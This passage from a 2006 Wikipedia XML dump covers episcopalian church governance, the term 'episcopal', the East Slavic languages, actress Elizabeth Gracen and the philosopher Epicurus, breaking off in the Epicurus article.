Rome and Byzantium were, speaking generally, a single episcopalian government, one Church, until the [[East-West Schism|Great Schism]] in [[1054]].  Also, the non-Chalcedonian churches of the Orient (Nestorian) and [[Coptic Orthodox Church|Egyptian Coptic Orthodox]] (Monophysite), are episcopalian; however, differences concerning the person of Christ have caused these not to be in [[full communion]] with the Orthodox and the Catholics, ever since the [[Council of Chalcedon]] in the fifth century. Likewise, the Coptic Orthodox believe they have true apostolic succession; both the Greek and Coptic Orthodox churches have a bishop in Alexandria, both of whom trace their [[apostolic succession]] back to the Apostle Mark (the Coptic bishop claims the title of [[List of Coptic Popes|Pope]]). There are official ongoing efforts in recent times to heal this ancient breach. Already, the two recognize each other's [[baptism]]s, [[chrismation]]s, and [[marriage]]s, making intermarriage much easier.
 
==Catholic episcopalian government==

The Roman Catholic Church is episcopalian with a single hierarchy terminating at the top with the [[Bishop of Rome]].  The basis of the system is grounded in the assertion that jurisdictional oversight of the Church is not a power that derives from human ambition, but strictly from the authority of Christ which was given to his twelve apostles.  From this one authority, all legitimate, governmental representation of the authority of Christ on the earth is committed, by the Holy Spirit, through the laying on of hands, from the Apostles to the bishops, and from bishops to priests, in historical succession.  One of the earliest of the Church fathers to define the importance of episcopalian government is  [[Ignatius of Antioch]]. Presuming Ignatius' view was genuinely the Apostolic view and practice, the unbroken line of the representation of Christ survived up to a certain historical point in four seats of Apostolic authority: Jerusalem, Antioch, Alexandria, and Rome. The Roman Catholic church believes that it maintains this [[apostolic succession]]; the [[Eastern Orthodoxy|Eastern Orthodox Church]] makes the same claim. Both agree that apostolic succession means not only historical continuity, but that the church today preserves the same doctrines and practices that were taught by the original twelve apostles, who received them from Jesus Christ.

Constantine moved the capital of the Roman Empire from Rome to Constantinople, following the conquest of [[Licinius]] in [[324]]. The seat of the Roman civilized world shifted to Greece and [[New Rome]] ([[Byzantium]]).  Along with this shift, the effective administration of the Church also shifted. It was this practical eminence in the East that was acknowledged, first by the Council of Constantinople [[381]], and then ecumenically by the Council of Chalcedon in [[451]], so that the Patriarch (pre-eminent father) of the church under New Rome's domain was for all practical purposes the Bishop of Constantinople.  Beginning with [[John the Faster]], the Bishop of Constantinople adopted the title [[Ecumenical patriarch]] (pre-eminent father for the whole civilized world), to which the other Patriarchates assented, with the exception of one.  This Patriarchate of Rome, by virtue of its succession from the Apostles [[Saint Peter|Peter]] and [[Paul of Tarsus]] and although the city was ruined, distant from the seat of secular power, and constantly harassed by invaders, claimed primacy for itself, and the title of &quot;Apostolic See&quot; - the last court of episcopal appeal in very serious matters.

Thus, two ideas of episcopalian succession competed, between Rome and Byzantium.  In the East, the Apostolic authority speaking unitedly in episcopal council is primary; and through such a council the Bishop of Byzantium was granted primacy on par with Rome (which placed entire emphasis on episcopal succession from the Apostles). The differences, although subtle, produced a rift between the Bishop of Rome and the rest of Christendom, which continued with some occasional relief throughout much of the history of the Church until it finally ruptured with semi-finality in the [[Great Schism]] (marked by two dates: 16 July, [[1054]], and the [[Council of Florence]] in [[1439]]).  The conciliar idea of episcopal government continues in the [[Eastern Orthodox Church]].

Today, the Roman Catholic Church sees the Roman [[Pope]] as the vicar of Christ on Earth and each bishop as the vicar of Christ for his [[particular church]]. In the Eastern Orthodox Church, the sixteen or so [[autocephaly|autocephalous]] [[primate (religion)|primates]] are seen as collectively gathering around Christ, with other archbishops and bishops gathering around them, and so forth, in a model called &quot;conciliar hierarchy&quot;. This is based in part on the vision in the [[book of Revelation]] of the 24 elders gathered around the throne of Christ, who are believed to represent the 12 patriarchs of Israel and the 12 apostles of Jesus Christ. There is no single patriarch with exclusive authority comparable to the Pope of Rome.

==Protestant episcopalian government==

Among Protestant churches, the [[Anglican Communion]] is the most prominent church which lays claim to [[historic episcopate|episcopal succession]] in terms comparable to the Catholic system. The [[Church of Sweden]] and [[Evangelical Lutheran Church of Finland]] also claim Apostolic Succession, never having abandoned their lines of succession during the Reformation.

Anglicans claim unbroken episcopal succession in and through the [[Church of England]] back to [[Augustine of Canterbury|Saint Augustine]] and to first century Britain. The church's exact origins are a matter of debate, but the faith clearly was planted in the British Isles independent of Rome and prior to St. Augustine. 

For more than five hundred years since the rejection of the primacy of Rome, the Anglican succession has given rise to episcopal churches around the world. Longstanding Catholic criticism of alleged irregularities in episcopal consecrations in England during the religious turmoil of the [[16th century]] has led to the current state of non-recognition of parity of Anglican orders. However, rapprochements between the Anglican Communion, the Orthodox Churches and Roman Catholicism have given impetus to mutual discussions of the obstacle posed by differing interpretations of episcopal succession. The [[Scottish Episcopal Church]], the [[Episcopal Church in the United States of America]], and some of their offshoots, are part of the [[Anglican Communion]] and use their names both to show their form of government and to distinguish themselves from other local churches. 

Other Protestant churches have adopted an episcopal form of government for practical, rather than historical, reasons.  These include the [[Methodism|Methodist]] church and some of its offshoots, where the powers of the episcopacy can be rather strong and wide-reaching.  For example, in the [[United Methodist Church]] Bishops are appointed for life, can serve up to two terms in a specific conference (three if special permission is given), are responsible for ordaining and appointing clergy to pastor churches, perform many administrative duties, preside at the annual sessions of the regional Conferences and at the quadrennial meeting of the world-wide General Conference, have authority for teaching and leading the church on matters of social and doctrinal import, and serve to represent the denomination in ecumenical gatherings. United Methodist bishops in the United States serve in their appointed conferences until their mandated retirement at the end of the quadrenium following their sixty-sixth birthday.[http://www.umc.org/interior.asp?ptid=21&amp;mid=5860]

The Reformed Church of France, and the Reformed Church of Hungary, and the [[Lutheran church]]es on the continent may sometimes be called &quot;episcopalian&quot;, but the more proper term is ''Synodical'' (see [[Synod]]).  In these latter cases, the form of government is not radically different from the [[presbyterian]] form, except that their councils of bishops have hierarchical jurisdiction over the local ruling bodies to a greater extent than in most Presbyterian and other Reformed churches.  Old World Lutheranism, for historical reasons, has tended to adopt [[Erastian]] theories of episcopal authority (by which church authority is to a limited extent sanctioned by secular government), but church government is a matter without doctrinal significance.  In America, the Lutheran churches tend to adopt a form of government more comparable to [[congregationalism]].

==See also==

[[Bishop]], [[Episcopal]], [[Presbyterian church governance]], [[Congregationalist church governance]], [[Autocephaly]]

[[Category:Anglicanism]]
[[Category:Christian group structuring]]
[[Category:Eastern Orthodoxy]]
[[Category:Oriental Orthodoxy]]
[[Category:Episcopacy in Catholicism]]
[[Category:Methodism]]

[[ja:監督制]]</text>
    </revision>
  </page>
  <page>
    <title>Episcopal</title>
    <id>10068</id>
    <revision>
      <id>39314781</id>
      <timestamp>2006-02-12T07:40:11Z</timestamp>
      <contributor>
        <username>Bkcraft</username>
        <id>794218</id>
      </contributor>
      <minor />
      <comment>another accent</comment>
      <text xml:space="preserve">The word '''''episcopal''''' is derived from the [[Greek language|Greek]] ''επίσκοπος'', transliterated ''epískopos'', which literally means &quot;overseer&quot;; the word, however, is used in religious contexts to refer to a [[bishop]].  

==Episcopal churches==
Episcopal churches are churches that use an [[episcopalian church governance]], i.e. that use [[bishop]]s generally regarded as being in [[Apostolic succession]]. More specifically, the term &quot;episcopal&quot; is applied to those churches historically based within [[Anglicanism]] including those still in communion with the [[Church of England]]. It is also commonly used to distinguish between the various organizational structures of [[Protestant]] churches; for instance the word &quot;[[presbyterianism|presbyterian]]&quot; (from the [[Greek language|Greek]] ''πρεσβύτης'') is used to describe churches governed by elected [[Elder (religious)|elders]], while &quot;episcopal&quot; is used to describe churches governed by bishops (Greek ''επίσκοπος''). Self-governed Protestant churches, governed neither by elders nor bishops, are usually referred to as &quot;[[congregational]]&quot;.

Examples of specific episcopal churches include:

* The [[Episcopal Church in the United States of America]] (ECUSA)
* The [[Scottish Episcopal Church]]
* Any of several churches listed in the article titled [[Episcopal churches]]
* The [[Charismatic Episcopal Church]] (no relation to the Church of England or the Anglican Communion)

However, other churches overseen by bishops and with a connection to the Church of England are '''not''' members of the Anglican Communion.  The [[United Methodist Church]] is one example. All [[Methodism|Methodist]] churches have their roots in Anglicanism because their founder, [[John Wesley]], was an Anglican priest in England in the 1700s.  Methodists, however, do not look to the Archbishop of Canterbury for leadership as Anglicans do, nor to the Presiding Bishop of the Episcopal Church (ECUSA) in America.  Further, Methodist bishops are not in Apostolic Succession.  Wesley held that bishops are merely [[Elder (religious)|presbyters (elders)]] who have been chosen for a supervisory position by the Church, and that there is, therefore,  no necessity of them receiving a laying on of hands of prior bishops whose &quot;orders&quot; are allegedly traceable in unbroken succession to the [[Twelve Apostles|Apostle]]s. 

Churches that are members of the [[Anglican Communion]] are episcopal churches in polity, and some are named &quot;Episcopal.&quot; However, some Anglican churches do not belong to the Anglican Communion, and not all episcopally-governed churches are Anglican.  The [[Roman Catholic Church]], the [[Old Catholic Church]]es (in full communion with, but not members of, the Anglican Communion), and the [[Eastern Orthodoxy|Eastern Orthodox churches]] are recognized, and also their bishops, by [[Anglicanism|Anglicans]].

==See also==
*[[Episcopal see]]
*[[Anglicanism]]
*[[Church of England]]

==External links==

* [http://www.episcopalchurch.org/index_new.htm Episcopal Church Official Page]

* [http://www.stjohnadulted.org/episcopl.htm Episcopalian Christianity]

[[eo:Episkopanismo]]

[[Category:Anglicanism]]
[[Category:Methodism]]</text>
    </revision>
  </page>
  <page>
    <title>East Slavic languages</title>
    <id>10070</id>
    <revision>
      <id>35250124</id>
      <timestamp>2006-01-15T08:14:05Z</timestamp>
      <contributor>
        <username>AjaxSmack</username>
        <id>353866</id>
      </contributor>
      <minor />
      <comment>/* History of the dialects */</comment>
      <text xml:space="preserve">The '''East Slavic languages''' constitute one of three regional subgroups of [[Slavic languages]], currently spoken in [[Eastern Europe]].  It is the group with the largest numbers of speakers, far out-numbering the [[West Slavic languages|Western]] and [[South Slavic languages|Southern Slavic]] groups.  Current East Slavic languages are [[Belarusian language|Belarusian]], [[Russian language|Russian]], [[Ukrainian language|Ukrainian]], and [[Rusyn language|Rusyn]] (a small language spoken in Eastern Slovakia, South Eastern Poland, Eastern Hungary and South Western Ukraine and regarded by many as a Ukrainian dialect).

Classification:
* [[Indo-European languages]]
** [[Satem]]
*** [[Balto-Slavic]]
**** [[Slavic languages]]
***** ''East Slavic languages'' or [[Old East Slavic language]]&amp;nbsp;†
****** [[Old Russian language]]&amp;nbsp;†
******* [[Russian language]]
****** [[Ruthenian language]]&amp;nbsp;†
******* [[Ukrainian language]]
******* [[Belarusian language]]
******* [[Rusyn language]]



== Current status ==

All these languages are nowadays considered to be separate languages in their own right, though in the 19th century it was usual to call Ukrainian (&quot;Little Russian&quot;) and Belarusian (&quot;White Russian&quot;) dialects of one common &quot;Russian&quot; language (the most prestigious dialect of which was called &quot;Great Russian&quot;).  Despite the vast territory occupied by the East Slavs, their languages are astonishingly similar to one another, with transitional dialects in border regions.

All these languages use the [[Cyrillic]] [[alphabet]], but with particular modifications.

== History ==

When the common [[Old East Slavic language]] became separated from the ancient Slavic tongue common to all Slavs is difficult to ascertain ([[6th century|6th]]&amp;ndash;[[11th century]]).

The history of the East Slavic languages is a very 'hot' subject, because it is interpreted from various political perspectives by the East Slavs &quot;like all mortals, wishing to have an origin as ancient as possible&quot; (&quot;sicut ceteri mortalium, originem suam quam vetustissimam ostendere cupientes&quot;), as [[Pope Pius II|Aeneas Sylvius]] observed in his ''Historia Bohemica'' in [[1458]].

Therefore, a crucial differentiation has to be made between the history of the East Slavic ''dialects'' and that of the ''literary languages'' employed by the Eastern Slavs. Although most ancient texts betray the dialect their author(s) and/or scribe(s) spoke, it is also clearly visible that they tried to write in a language different from their dialects and to avoid those mistakes that enable us nowadays to locate them.

In both cases one has to keep in mind that the history of the East Slavic languages is of course a history of written [[text|texts]]. We do not know how the writers of the preserved texts would have spoken in every-day life, let alone how an illiterate East Slavic peasant spoke to his family.

=== History of the literary languages ===

{| border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;font-size: 85%; border: gray solid 1px; border-collapse: collapse; text-align: center;&quot;
|- 
! colspan=&quot;14&quot; style=&quot;text-align: center;&quot; | '''History of the East Slavic [[literary language|literary languages]]'''
|-
| 
!  align=&quot;center&quot; style=&quot;background: #ddddff;&quot; | History of [[Ukrainian language|Ukrainian]]
!  align=&quot;center&quot; style=&quot;background: #ddffdd;&quot; | History of [[Belarusian language|Belarusian]]
!  align=&quot;center&quot; style=&quot;background: #ffdddd;&quot; | History of [[Russian language|Russian]]
|- 
|  valign=&quot;top&quot; align=&quot;left&quot; | '''Preliterary''' period&lt;br&gt;(c.&amp;nbsp;until 9th/11th&amp;nbsp;c.)
|  style=&quot;background: #ececec;&quot; colspan=&quot;3&quot; align=&quot;center&quot; | [[Eastern Slavs|East Slavic]] dialects of the '''[[Proto-Slavic language]]'''
|- 
|  valign=&quot;top&quot; align=&quot;left&quot; | '''Old''' period&lt;br&gt;(c.&amp;nbsp;9th/11th to 14th&amp;nbsp;c.)
|  style=&quot;background: #ececec;&quot; align=&quot;center&quot; colspan=&quot;3&quot; | '''[[Old East Slavic language|Old East Slavic]]'''
|- 
|  valign=&quot;top&quot; align=&quot;left&quot; | '''Middle''' period&lt;br&gt;(c.&amp;nbsp;15th to 18th&amp;nbsp;c.)
|  align=&quot;center&quot; valign=&quot;top&quot; colspan=&quot;2&quot; style=&quot;background: #ddeeee;&quot; | '''[[Ruthenian language|Ruthenian]]'''
|  align=&quot;center&quot; valign=&quot;top&quot; style=&quot;background: #ffdddd;&quot; | '''[[History of the Russian language#The_Moscovite_period_.2815th-17th_centuries.29|Old Russian]]'''
|- 
|  valign=&quot;top&quot; align=&quot;left&quot; | '''Modern''' period&lt;br&gt;(c.&amp;nbsp;from 18th/19th&amp;nbsp;c.)
|  align=&quot;center&quot; valign=&quot;top&quot; style=&quot;background: #ddddff;&quot; | (Contemporary)&lt;br&gt;'''[[Ukrainian language|Ukrainian]]'''
|  align=&quot;center&quot; valign=&quot;top&quot; style=&quot;background: #ddffdd;&quot; | (Contemporary)&lt;br&gt;'''[[Belarusian language|Belarusian]]'''
|  align=&quot;center&quot; valign=&quot;top&quot; style=&quot;background: #ffdddd;&quot; | (Contemporary)&lt;br&gt;'''[[Russian language|Russian]]'''
|}

What follows is a short overview over the Old and Middle periods. For more detail see [[Old East Slavic language]], [[Ruthenian language]], and [[History of the Russian language]].

After the conversion of the East Slavic region to Christianity the people used service books borrowed from [[Bulgaria]], which were written in &quot;Old Bulgarian&quot; or [[Old Church Slavonic]]. They continued to use this language, or rather a variant thereof, usually called (Middle) [[Church Slavonic language|Church Slavonic]], not only in liturgy, but also generally as the language of learning and written communication. This left a large imprint even on the rare secular texts.

Throughout the Middle Ages (and in some way up to the present day) there existed a duality between the Church Slavonic language used as some kind of 'higher' register (not only) in religious texts and the popular tongue used as a 'lower' register for secular texts. It has been suggested to describe this situation as [[diglossia]], although there do exist mixed texts where it is sometimes very hard to determine why a given author used a popular or a Church Slavonic form in a given context.

=== History of the dialects ===

{| border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;font-size: 85%; border: gray solid 1px; border-collapse: collapse; text-align: center;&quot;
|- 
! colspan=&quot;12&quot; style=&quot;text-align: center;&quot; | '''History of the East Slavic [[dialect]] groups'''
|-
| 
! align=&quot;center&quot; colspan=&quot;3&quot; style=&quot;background: #ddddff;&quot; | History of [[Ukrainian language|Ukrainian]]
! align=&quot;center&quot; colspan=&quot;4&quot; style=&quot;background: #ddffdd;&quot; | History of [[Belarusian language|Belarusian]]
! align=&quot;center&quot; colspan=&quot;4&quot; style=&quot;background: #ffdddd;&quot; | History of [[Russian language|Russian]]
|-
| align=&quot;left&quot; | '''Preliterary'''
| style=&quot;background: #ececec;&quot; align=&quot;center&quot; colspan=&quot;10&quot; | [[Eastern Slavs|East Slavic]] dialects of the '''[[Proto-Slavic language]]'''
| align=&quot;center&quot; rowspan=&quot;2&quot; | [[Old Novgorod dialect|Nov-&lt;br&gt;go-&lt;br&gt;rod?]]
|-
| align=&quot;left&quot; | '''11th&amp;nbsp;c.'''
| align=&quot;center&quot; style=&quot;background: #ddddff;&quot; | [[Halych]]/&lt;br&gt;[[Podolia]]
| align=&quot;center&quot; colspan=&quot;4&quot; style=&quot;background: #ddeeee;&quot; | [[Kiev]]/&lt;br&gt;[[Polesia]]
| align=&quot;center&quot; colspan=&quot;3&quot; style=&quot;background: #eeeedd;&quot; | [[Polatsk]]/&lt;br&gt;[[Ryazan]]
| align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;background: #ffdddd;&quot; | [[Novgorod]]/&lt;br&gt;[[Suzdal]]
|-
| rowspan=&quot;2&quot; align=&quot;left&quot; | '''today'''
| colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;background: #ddddff;&quot; | [[Ukrainian language|Ukrainian]]
| colspan=&quot;4&quot; align=&quot;center&quot; style=&quot;background: #ddffdd;&quot; | [[Belarusian language|Belarusian]]
| colspan=&quot;4&quot; align=&quot;center&quot; style=&quot;background: #ffdddd;&quot; | [[Russian language|Russian]]
|-
| align=&quot;center&quot; style=&quot;background: #ddddff;&quot; | SW
| align=&quot;center&quot; style=&quot;background: #ddddff;&quot; | SE
| align=&quot;center&quot; style=&quot;background: #ddddff;&quot; | N
| align=&quot;center&quot; style=&quot;background: #ddffdd;&quot; | SW
| colspan=&quot;2&quot; align=&quot;center&quot; style=&quot;background: #ddffdd;&quot; | C
| align=&quot;center&quot; style=&quot;background: #ddffdd;&quot; | NE
| align=&quot;center&quot; style=&quot;background: #ffdddd;&quot; | S
| align=&quot;center&quot; style=&quot;background: #ffdddd;&quot; | C
| colspan=&quot;2&quot; align=&quot;center&quot; style=&quot;background: #ffdddd;&quot; | N
|- 
| height=&quot;0&quot; width=&quot;16%&quot; |
| height=&quot;0&quot; width=&quot;8%&quot; |
| height=&quot;0&quot; width=&quot;8%&quot; |
| height=&quot;0&quot; width=&quot;8%&quot; |
| height=&quot;0&quot; width=&quot;8%&quot; |
| height=&quot;0&quot; width=&quot;4%&quot; |
| height=&quot;0&quot; width=&quot;4%&quot; |
| height=&quot;0&quot; width=&quot;8%&quot; |
| height=&quot;0&quot; width=&quot;8%&quot; |
| height=&quot;0&quot; width=&quot;8%&quot; |
| height=&quot;0&quot; width=&quot;8%&quot; |
| height=&quot;0&quot; width=&quot;0%&quot; |
|-
| align=&quot;left&quot; colspan=&quot;12&quot; | Dialect classification and periodization according to Yury &amp;#352;erech [=&amp;nbsp;Shevelov], ''Problems in the formation of Belorussian'', New York 1953 (=&amp;nbsp;''Word: Journal of the Linguistic Circle of New York'', vol.&amp;nbsp;9, supplement, monograph no.&amp;nbsp;2), p.&amp;nbsp;93.
|}
{{sectstub}}

The first divergence among the Old East Slavic texts is evident during the [[12th century]], during the era of Kievan Rus', i.e. some texts can be linguistically located to areas that are now in Russia, Ukraine or Belarus. This leads many Russian scholars to speak of the existence of a separate [[Russian language]] as early as the [[12th century]].

== Mutual Influences ==

{{sectstub}}

== See also ==

* [[Slavic languages]]
* [[South Slavic languages]]
* [[West Slavic languages]]
* [[Old Church Slavonic language]]
* [[Belarusian language]]
* [[Russian language]]
* [[Rusyn language]]
* [[Ukrainian language]]

[[Category:Slavic languages]]

[[ast:Eslavu Oriental]]
[[bg:Източнославянски езици]]
[[cs:Východoslovanské jazyky]]
[[de:Ostslawische Sprachen]]
[[et:Idaslaavi keeled]]
[[no:Østslaviske språk]]
[[pl:Języki wschodniosłowiańskie]]
[[sk:Východoslovanské jazyky]]
[[sr:Источнословенски језици]]
[[sv:Östslaviska språk]]</text>
    </revision>
  </page>
  <page>
    <title>Elizabeth Gracen</title>
    <id>10071</id>
    <revision>
      <id>38121610</id>
      <timestamp>2006-02-04T08:38:56Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">[[Image:Playboy May 1992.jpg|thumb|On the cover of ''[[Playboy]]'', May 1992]]

'''Elizabeth Ward Gracen''' is an [[United States|American]] [[Actor|actress]] known almost as much for her off-screen activities as for her [[film|movie]] and [[television network|television]] roles. 

Born '''Elizabeth Ward''' on [[April 3]], [[1960]] in [[Booneville, Arkansas]], [[United States|USA]], she won the titles of Miss Arkansas and [[Miss America]] in [[1982]].  She soon married and took the name of Elizabeth Gracen. The marriage did not last long, but she retained her married name.  She had a minor acting career, and in [[1989]], while filming ''[[Sundown: The Vampire in Retreat]]'', she met actor [[Brendan Hughes]], and they married soon after. The couple divorced in [[1994]].  Gracen gave birth to a daughter, Quinlan Murphy, on [[July 28]], [[2005]].

Elizabeth Gracen's best-known acting role has been as the character of the Immortal Amanda in the series ''[[Highlander: The Series|Highlander]]'' and ''[[Highlander: The Raven]]''.

During the time of the sex scandals involving then-President [[Bill Clinton]], Gracen admitted that she had had a one-night affair with Clinton in [[1983]] when he was [[Governor of Arkansas]]. She has also appeared nude in ''[[Playboy]]''.

== Filmography ==

*''[[Interceptor Force 2]]''  (2002) (TV) - Adriana Sikes
*''[[Highlander: The Raven]]''  (1998) TV Series - Amanda Darieux aka Amanda Montrose (1998-1999)
*''[[Kounterfeit]]''  (1996) - Bridgette 
*''[[Extreme]]''  (1995) TV Series - Callie Manners (1995) 
*''[[The Expert]]''  (1995) - Liz Pierce 
*''[[Highlander]]''  (1992) TV Series - Amanda Darieux (1994-1998)
*''[[Discretion Assured]]''  (1993) - Miranda 
*''[[Final Mission]]''  (1993) (V) - Caitlin Cole 
*''[[The Sands of Time]]''  (1992) (TV) 
*''[[Lower Level]]''  (1992) (V) - Hillary 
*''[[Sundown: The Vampire in Retreat]]''  (1991) - Alice 
*''[[83 Hours 'Til Dawn]]''  (1990) (TV) - Maria Ranfield 
*''[[Marked for Death]]''  (1990) - Melissa 
*''[[The Death of the Incredible Hulk]]''  (1990) (TV) - Jasmin 
*''[[Lisa (film)|Lisa]]''  (1989) - Mary
*''[[The Strange Case of Dr. Jekyll and Mr. Hyde]]''  (1989) (TV) 
*''[[Pass the Ammo]]''  (1988) - Christie Lynn 
*''[[Three for the Road]]'' (1987) - Nadine

==External links==
*[http://www.elizabethgracen.org Official website]
*{{imdbname|id=0001286|name=Elizabeth Gracen}}

[[Category:1960 births|Gracen, Elizabeth]]
[[Category:Living people|Gracen, Elizabeth]]
[[Category:People from Arkansas|Gracen, Elizabeth]]
[[Category:Miss America|Gracen, Elizabeth]]
[[Category:Television actors|Gracen, Elizabeth]]
[[Category:Highlander|Gracen, Elizabeth]]</text>
    </revision>
  </page>
  <page>
    <title>Elizabeth Gracen/Filmography</title>
    <id>10072</id>
    <revision>
      <id>15907910</id>
      <timestamp>2002-09-30T07:15:21Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <minor />
      <comment>make a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Elizabeth Gracen]]</text>
    </revision>
  </page>
  <page>
    <title>Epicurus</title>
    <id>10073</id>
    <revision>
      <id>42124366</id>
      <timestamp>2006-03-03T23:57:10Z</timestamp>
      <contributor>
        <username>Flauto Dolce</username>
        <id>30706</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Samos]] to [[Samos Island]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Epikur.jpg|right|thumb|234px|Bust of Epicurus]] 
'''Epicurus''' ('''Epikouros''' or '''Επικουρος''' in [[Greek language|Greek]]) (341 BC, [[Samos Island|Samos]] &amp;ndash; 270 BC, [[Athens]]) was an  [[Greek philosophy|ancient Greek philosopher]], the founder of [[Epicureanism]], one of the most popular schools of [[Greek philosophy|Hellenistic Philosophy]].

==Biography==
{{Confusing}}
Epicurus was born into an Athenian émigré family &amp;mdash; his parents, Neocles and Chaerestrate, both Athenian citizens, were sent to an Athenian settlement on the Aegean island of [[Samos Island|Samos]]. According to Apollodorus (reported by Diogenes Laertius at X.14-15), he was born on the seventh day of the month [[Gamelion]] in the third year of the 109th [[Olympiad]], in the [[Archon|archonship]] of Sosigenes (about February 341 BC). He returned to Athens at the age of eighteen to serve in military training. The playwright [[Menander]] served in the same age-class of the ephebes as Epicurus.

He joined his father in [[Colophon]] after the Athenian settlers at Samos were expelled by [[Perdiccas]] due to their revolt after [[Alexander the Great]] died (c. 320 BC). He spent the next several years in Colophon, [[Lampsacus]], and [[Mytilene]], where he founded his school at the age of 32 and gathered many disciples.  In the archonship of Anaxicrates (307-306 BC), he returned to Athens where he formed his school known as The Garden, named for the garden he owned about halfway between the [[Stoa]] and the [[Academy]] that served as the school's meetingplace.

Epicurus died in the second year of the 127th Olympiad, in the archonship of Pytharatus, at the age of 72. He reportedly suffered from [[kidney stone|kidney stones]], and despite the prolonged pain involved, he is reported as saying in a letter to Idomeneus:

&quot;We have written this letter to you on a happy day to us, which is also the last day of our life. For strangury has attacked me, and also a dysentery, so violent that nothing can be added to the violence of my sufferings. But the cheerfulness of my mind, which arises from their collection of all my philosophical contemplation, counterbalances all these afflictions. And I beg you to take care of the children of Metrodorus, in a manner worth of the devotion shown by the youth to me, and to philosophy&quot; ([[Diogenes Laertius ]], X.22, trans. C.D. Yonge).

A growing directory of contemporary Gardens of Epicurus can be found at   [http://www.gardenofepicurus.com  www.gardenofepicurus.com] The Epicurean doctrines are by no means extinct.

==The School==
Epicurus' school had a small but devoted following in his lifetime. The primary members were [[Hermarchus]], the financier [[Idomeneus of Lampsacus|Idomeneus]], [[Leonteus]] and his wife [[Themista]], the satirist [[Colotes]], the mathematician [[Polyaenus of Lampsacus]], and [[Metrodorus]], the most famous popularizer of Epicureanism. This original school was based in Epicurus' home and garden. An inscription on the gate to the garden is recorded by [[Seneca the Younger|Seneca]] in his Epistle XXI:
:Stranger, here you will do well to tarry; here our highest good is pleasure.

The school's popularity grew and it became, along with [[Stoicism]] and [[Skepticism]], one of the three dominant schools of Hellenistic Philosophy, lasting strongly through the later [[Roman Empire]]. In Rome, [[Lucretius]] was the school's greatest proponent, composing [[On the Nature of Things]], an epic poem, in six books, designed to recruit new members. The poem mainly deals with Epicurean philosophy of nature. Another major source of information is the Roman politician and amateur philosopher [[Cicero]], although he was highly critical of Epicureanism. Another ancient source is [[Diogenes of Oenoanda]], who composed a large inscription at [[Oenoanda]] in [[Lycia]].

A library, dubbed the [[Villa of the Papyri]], in [[Herculaneum]], owned by [[Julius Caesar|Julius Caesar's]] father-in-law, [[Lucius Calpurnius Piso Caesoninus]], was preserved by the eruption of [[Vesuvius]] in [[79 AD]], and was found to contain a large number of works by [[Philodemus]], a late Hellenistic Epicurean, and Epicurus himself, attesting to the school's enduring popularity. The task of unrolling and deciphering the charred papyrus scrolls continues today.

After the official approval of [[Christianity]] by [[Constantine I (emperor)|Constantine]], Epicureanism was repressed. Epicurus' theory that the gods were unconcerned with human affairs had always clashed strongly with the Judeo-Christian God, and the philosophies were essentially irreconcilable. For example, the word for a heretic in the Talmudic literature is &quot;Apikouros&quot;.   [[Lactantius]] criticizes Epicurus at several points throughout his &lt;i&gt;Divine Institutes&lt;/i&gt;. The school endured a long period of obscurity and  decline. However, there was a resurgance of [[atomism]] among scientists in the [[18th Century|18th]] and [[19th Century|19th]] Centuries, and in the late 20th Century, the school was revived. A directory of contemporary followers of Epicurus can be found on gardenofepicurus.com.

==Teachings==
Epicurus' teachings represented a departure from the other major Greek thinkers of his period, and before, but was nevertheless founded on many of the same principles as [[Democritus]]. Like Democritus, he was an atomist, believing that the fundamental constituents of the world were uncuttable little bits of matter (atoms) flying through empty space (void). Everything that occurs is the result of the atoms colliding, rebounding, and becoming entangled with one another, with no purpose or plan behind their motions. 

He admitted women and slaves into his school, emphasized the senses in his [[epistemology]], and was one of the first Greeks to break from the god-fearing and god-worshipping tradition common at the time, even while affirming that religious activities are useful as a way to contemplate the gods and to use them as an example of the pleasant life.

Epicurus' philosophy is based on the theory that all good and bad derive from sensation.  Pleasureable sensations are good.  Painful sensations are bad.  Although Epicurus was commonly misunderstood to advocate the rampant pursuit of pleasure, what he was really after was the absence of pain (both physical and mental, i.e., anxiety). 

Although Epicurus believed in pursuing pleasure, he was by no means a hedonist in our modern sense of the word. He explicitly warned against overindulgence because it often leads to pain.  For instance, in what might be described as a &quot;hangover&quot; theory, Epicurus warned against pursuing love too ardently, as it often leads to pain. However, having a circle of friends you can trust is one of the most important means for securing a tranquil life.

Epicurus also believed (in contradistinction to [[Aristotle]]) that death was not bad.  According to Epicurus, good and bad derive from sensation.  Bad cannot exist without sensing pain.  When man is alive, he does not feel the pain of death because he is not experiencing death.  When a man dies, he does not feel the pain of death because he is dead and, since death is annihilation, he feels nothing.  Therefore, as Epicurus famously said, &quot;death is nothing to us.&quot; 

In contrast to the [[Stoics]], Epicureans showed little interest in participating in the politics of the day, since doing so leads to trouble. &quot;Live in seclusion!&quot; was the advice of Epicurus. His garden can be compared to  present day communes. There are many people in our own time who have sought a safe harbor away from society. 

The most known Epicurean verse, which epitomizes the Epicurean philosophy, is ''lathe bi&amp;#333;sas'' &amp;#955;&amp;#940;&amp;#952;&amp;#949; &amp;#946;&amp;#953;&amp;#974;&amp;#963;&amp;#945;&amp;#962; ([[Plutarchus]] ''De latenter vivendo'' 1128c; [[Flavius Philostratus]] ''Vita Apollonii'' 8.28.12), meaning &quot;live secretly&quot;, &quot;get through life without drawing attention to yourself&quot;, i. e. live  without pursuing glory or wealth or power, but anonymously, enjoying little things like food, the company of friends etc.

==Legacy==
Elements of Epicurean philosophy have resonated and resurfaced in various diverse thinkers and movements throughout Western intellectual history. The [[Problem of evil|Epicurean paradox]] is a famous argument against the existence of God.

Epicurus was one of the first thinkers to develop the notion of justice as a social contract. He defined justice as an agreement &quot;neither to harm nor be harmed.&quot; The point of living in a society with laws and punishments is to be protected from harm so that one is free to pursue happiness. Because of this, laws that do not help contribute to promoting human happiness are not just. 

